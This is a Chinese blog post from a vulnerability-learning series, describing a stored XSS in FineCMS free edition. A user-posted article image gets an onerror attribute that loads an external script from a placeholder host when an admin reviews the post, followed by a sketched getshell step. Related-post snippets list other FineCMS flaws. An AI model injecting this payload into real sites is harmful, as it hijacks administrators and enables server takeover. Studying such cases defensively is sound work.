【漏洞学习——XSS】fineCMS免费版xss+getshell

最新推荐文章于 2024-07-17 17:25:50 发布
最新推荐文章于 2024-07-17 17:25:50 发布
阅读量1.9k 收藏 4
点赞数
CC 4.0 BY-SA版权
分类专栏： 【渗透测试实战】 # 乌云漏洞案例学习
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.youkuaiyun.com/Fly_hps/article/details/84380485
本文详细描述了一种通过在用户注册并发表的文章中注入恶意脚本来利用XSS漏洞的方法，进而实现对后台的攻击，最终获取Shell权限的过程。关键步骤包括修改图片地址加入onerror属性，触发管理员审核漏洞，以及利用后台XSS进一步操作。

摘要生成于 C知道 ，由 DeepSeek-R1 满血版支持， 前往体验 >

漏洞细节

注册一个用户，在发表文章的地方发表文章
在编辑器里加入一张图片
用firebug修改图片地址 加入onerror属性
onerror=document.body.appendChild(document.createElement('script')).src='//xxx.xxx/a.js'

因为发表的文章需要后台管理员审核的，当管理员审核的时候触发漏洞

然后是getshell
有了后台xss都好办
在修改版权处

保存以后

Finecms SQL注入漏洞 (CVE-2018-6893)
m0_65150886的博客
01-08 1437
借此漏洞，可导致数据库中存放的用户的隐私信息的泄露，严重的可导致网页篡改；网站被挂马，传播恶意软件；修改数据库一些字段的值，嵌入网马链接，进行挂马攻击；服务器被远程控制，被安装后门。Finecms 5.2.0版本中的controllers/member/Api.php文件存在SQL注入漏洞，该漏洞源于程序没有进行有效的过滤。远程攻击者可利用该漏洞执行SQL命令。1.访问http://ip:port，出现如下页面，开始实验。
finecms aip.php漏洞,代码审计| FineCMS的GetShell姿势
weixin_42311115的博客
03-11 501
0x00 背景上周，发现了finecms的一些后台的洞，斗哥先从配置文件写入开始分析，然后再结合本篇的存储XSS进行GetShell，本篇分析下存储XSS的问题，最终通过这两类洞的组合利用GetShell，期待与师傅们的交流讨论。0x01 审计过程0x00 相关环境源码信息：FineCMS v5.3.0 bulid 20180206问题文件： \finecms\finecms\system\cor...
FineCMS 5.0.10漏洞集合
Unitue_逆流
10-12 9874
笔记地址： https://www.ichunqiu.com/course/59007 操作机： Windows xp IP:172.16.11.2目标机： Windows xp IP:172.16.12.2实验目的： 学习漏洞产生的原理 学习如何对此漏洞进行利用修复实验内容： FineCMS是一款基于PHP+MySql+CI框架开发的高效简洁的中小型内容管理系统。其5.0.10
finecms XSS （CVE-2017-11629）
qq_23003811的博客
07-17 623
Dayrui FineCms是中国天睿（Dayrui）程序设计团队发布的一套使用MVC架构和PDO数据库接口开发的内容管理系统（CMS）。dayrui FineCms 5.0.10及之前的版本中的controllers/api.php文件存在跨站脚本漏洞。远程攻击者可借助c=api＆m=data2请求中的‘function’参数利用该漏洞注入任意的Web脚本或HTML。dayrui FineCms 5.0.10及之前的版本。四、漏洞复现（怎么拿flag）?
某finecms的csrf漏洞（CVE-2018-18191）
FODKING的博客
12-10 3818
原理 CSRF（Cross-site request forgery）跨站请求伪造：通常缩写为CSRF或者XSRF，是一种对网站的恶意利用。 尽管听起来像跨站脚本（XSS），但它与XSS非常不同，XSS利用站点内的信任用户，而CSRF则通过伪装来自受信任用户的请求来利用受信任的网站。 与XSS攻击相比，CSRF攻击往往不大流行（因此对其进行防范的资源也相当稀少）和难以防范，所以被认为比XSS更具危险性 你这可以这么理解CSRF攻击：攻击者盗用了你的身份，以你的名义发送恶意请求。 CSRF能够做的事情包括：以
finecms aip.php漏洞,通杀FineCMS5.0.8及版本以下getshell的漏洞
weixin_32943857的博客
03-11 696
前言跟着上次的finecms，在漏洞时代又找了一个漏洞来审计。但是他改了函数里面的传参，我也弄了一阵子才搞明白这个传参原来需要加密过的参数，还有就是这个远程下载再上传，有个小问题，那篇文章没有说明，等下再系统说下。漏洞详情代码位置和代码位置\finecms\dayrui\controllers\member\Api.php代码public function down_file() {$p = ar...
FineCMS任意头像上传漏洞复现：文件的四次上传
Miracle_ze的博客
08-16 1963
1、第一次绕过代码没有文件再次检测，采用传包含文件夹的压缩包绕过或使用时间竞争漏洞绕过2、第二个绕过代码添加了递归对文件夹再次检测，但由于没有间竞争漏洞绕过问题。使用间竞争漏洞绕过3、第三次绕过代码进行随机命名文件无法猜文件名间竞争漏洞绕过失效，但是可以采用解压一半报错保存php文件4、第四次绕过代码对报错保留的文件进行了递归删除，但是我们可以欺骗系统将解码的文件判定为上级目录文件规避了递归在当前目录下是所有检测。其实这种漏洞补一处出现处，要从根本解决。.........
FineCMS 5.0.10 多个 漏洞详细分析过程
xiaoi123的博客
11-20 3431
i春秋作家：F0rmat 0x01 前言 已经一个月没有写文章了，最近发生了很多事情，水文一篇。 今天的这个CMS是FineCMS，版本是5.0.10版本的几个漏洞分析，从修补漏洞前和修补后的两方面去分析。 文中的evai是特意写的，因为会触发论坛的防护机制，还有分页那一段的代码也去掉了，因为会触发论坛分页的bug。 0x02 环境搭建 https://www.ichunqiu.co...
Penetration_Testing_POC-About 渗透测试有关的POC、EXP、脚本、提权、小工具等
weixin_46280935的博客
09-10 6204
Penetration_Testing_POC 搜集有关渗透测试中用到的POC、脚本、工具、文章等姿势分享，作为笔记吧，欢迎补充。 Penetration_Testing_POC 请善用搜索[Ctrl+F]查找 IOT Device&Mobile Phone Web APP 提权辅助相关 PC tools-小工具集合 文章/书籍/教程相关 说明 请善用搜索[Ctrl+F]查找 IOT Device&Mobile Phone 天翼创维awifi路由器存在多处未授权访问漏
基于Python语言的渗透测试POC与脚本小工具设计源码
最新发布
02-07
FineCMS_v5.0.8两处getshell则涉及到FineCMS在5.0.8版本中发现的两个可利用的getshell漏洞；Amazon Kindle Fire HD (3rd Generation)内核驱动拒绝服务漏洞介绍了该设备在内核驱动层面上存在的漏洞；致远OA_A8_get...
finecms-含有前台文件上传漏洞源码包.zip
01-04
finecms-含有前台文件上传漏洞源码包，亲测真实有效、可用！如有侵权，请联系优快云管理员删除
最新版完全开源免费好用的FineCMS
11-09
FineCMS免费版是一款基于PHP+MySql+CI框架开发的高效简洁的中小型内容管理系统，面向多终端包括Pc端网页和移动端网页，支持自定义内容模型和会员模型，并且可以自定义字段，可面向中小型站点提供重量级网站建设解决方案，适用于小型站点、企业级网站、新闻内容网站等，个人站长及中小企业的首选建站系统。
finecms-XSS(cve-2017-11629)
m0_65150886的博客
01-08 1257
dayrui FineCms 5.0.10及之前的版本中的controllers/api.php文件存在跨站脚本漏洞。远程攻击者可借助c=api＆m=data2请求中的‘function’参数利用该漏洞注入任意的Web脚本或HTML。Dayrui FineCms是中国天睿（Dayrui）程序设计团队发布的一套使用MVC架构和PDO数据库接口开发的内容管理系统（CMS）。借此漏洞，攻击者可以窃取用户Cookie；2.对输入和URL参数进行过滤(白名单和黑名单)1.访问http://ip:port，进入首页。
finecms aip.php漏洞,FineCMS漏洞挖掘
weixin_32494599的博客
03-11 633
0x00 背景最近在挖掘FineCMS源码的漏洞，发现了一些有趣的洞，斗哥计划先从配置文件写入开始分析，然后再结合存储XSS进行GetShell，本篇先分析配置文件写入的问题，下周再分析存储XSS的问题，最终通过这两类洞的组合利用GetShell，大体思路流程很简单，但是代码分析中有蛮多技巧，期待与师傅们的交流讨论。0x01 漏洞审计1x00 相关环境源码信息：FineCMS v5.3.0 bul...
[zkaq靶场]FineCMS的存储型XSS
wwxxee
05-09 2030
Fine CMS 存储型xss漏洞 本地测试 安装（版本v5.3.0） tip：这个cms需要安装在网站根目录，不能安装在子目录 然后访问install.php开始安装。 完成安装，访问后台。默认账户密码：admin/admin。 网站后台：提供错误日志查看功能。 在错误日志页面，我们可以看到错误日志的存放位置：WWW/cache/errorlog/log-2021-03-26.php 我们可以查看一下这个文件，然后输入一些内容测试一下。 在该文件的最后一行加入了测试内容 可以发现，后台的错误日志
finecms aip.php漏洞,通杀FineCMS5.0.8及版本以下getshell漏洞的
weixin_39600400的博客
03-11 336
在文件finecms/dayrui/controllers/member/Api.php里面有一个down_file函数.可以从远程下载文件到本地服务器.public function down_file() {$p = array();$url = explode('&', $this->input->post('url'));//经过& 分割foreach ($ur...
finecms aip.php漏洞,FineCMS最新getshell漏洞通杀FineCMS5.0.8一下版本 | CN-SEC 中文网
weixin_39610229的博客
03-11 320
摘要在文件finecms/dayrui/controllers/member/Api.php里面有一个down_file函数.可以从远程下载文件到本地服务器.在文件finecms/dayrui/controllers/member/Api.php里面有一个down_file函数.可以从远程下载文件到本地服务器.public function down_file() { $p = ar...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

FLy_鹏程万里

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值